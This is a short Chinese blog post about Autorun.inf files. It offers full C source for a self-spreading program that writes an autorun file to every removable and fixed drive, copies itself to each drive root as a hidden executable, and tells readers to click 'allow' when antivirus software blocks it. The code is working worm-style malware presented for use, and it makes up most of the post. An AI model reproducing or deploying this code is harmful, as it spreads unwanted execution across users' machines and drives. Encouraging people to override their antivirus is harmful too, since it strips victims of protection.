关于Autorun.inf文件
2016-01-01 04:20
393 查看
配置Autorun.inf文件可以使双击磁盘时,自动运行某一应用程序。但是现在只支持CD或者DVD媒体了(以前硬盘也可以)
关于Autorun.inf的组成部分可以参考https://msdn.microsoft.com/zh-cn/cc144200
c语言编写程序的原理是,遍历C~Z所有分区,检查其类型,对所有DRIVE_REMOVABLE||DRIVE_FIXED类型的分区,写入使自身自动运行的Autorun.inf文件,将自身复制到相应分区的根目录下,同时将自己的属性设置为隐藏
程序如下:
程序被杀毒软件阻止了,点击允许操作就好
关于Autorun.inf的组成部分可以参考https://msdn.microsoft.com/zh-cn/cc144200
c语言编写程序的原理是,遍历C~Z所有分区,检查其类型,对所有DRIVE_REMOVABLE||DRIVE_FIXED类型的分区,写入使自身自动运行的Autorun.inf文件,将自身复制到相应分区的根目录下,同时将自己的属性设置为隐藏
程序如下:
#include<stdio.h> #include<windows.h> int main() { char Disk=NULL; UINT Type=0; FILE *fp; char strFileName[MAX_PATH]={0}; char szDriveName[4]={0}; wsprintf(szDriveName,"C:\0"); for(szDriveName[0]='C';szDriveName[0]<'Z';szDriveName[0]++) { Type=GetDriveType(szDriveName); if((Type==DRIVE_REMOVABLE)||(Type==DRIVE_FIXED)) { Disk=szDriveName[0]; sprintf(strFileName,"%c:\\Autorun.inf",Disk); fp=fopen(strFileName,"w+"); fprintf(fp,"[AutoRun]\n"); fprintf(fp,"OPEN=3.exe\n"); fprintf(fp,"SHELLEXECUTE=3.exe\n"); fprintf(fp,"shell\\Auto\\command=3.exe\n"); fprintf(fp,"shell=Auto"); fclose(fp); char selfPath[MAX_PATH]; char allRootPath[30]; GetModuleFileName(0,selfPath,MAX_PATH); sprintf(allRootPath,"%c:\\3.exe",Disk); CopyFile(selfPath,allRootPath,TRUE); SetFileAttributes(allRootPath,FILE_ATTRIBUTE_HIDDEN); } } return 0; }
程序被杀毒软件阻止了,点击允许操作就好
相关文章推荐
- 黑马程序员——java面试题之基础语法
- 映像劫持技术(2):实例
- 映像劫持技术(1):简单介绍
- 将程序复制到系统目录,设置开机自启动
- 理解Fragment生命周期
- Fragment间的通信
- Java设计模式——六大原则
- Android之greenDao的使用
- 黑马程序员——网络编程之TCP协议
- HDU2853-Assignment KM 限制边的交换
- 接口回调
- cocos2d-x学习笔记【一】创建自己的场景类
- 黑马程序员——网络编程之UDP协议
- -bash: fork: retry: Resource temporarily unavailable
- 在新的一年里,小娜伴我前行
- ISO/IEC 9899:2011 条款6.8.4——选择语句
- 医道官途
- Android子线程中更新UI的三种方法和获取message的两种方法总结
- HDU3435-A new Graph Game KM
- Android Studio开发项目中问题总结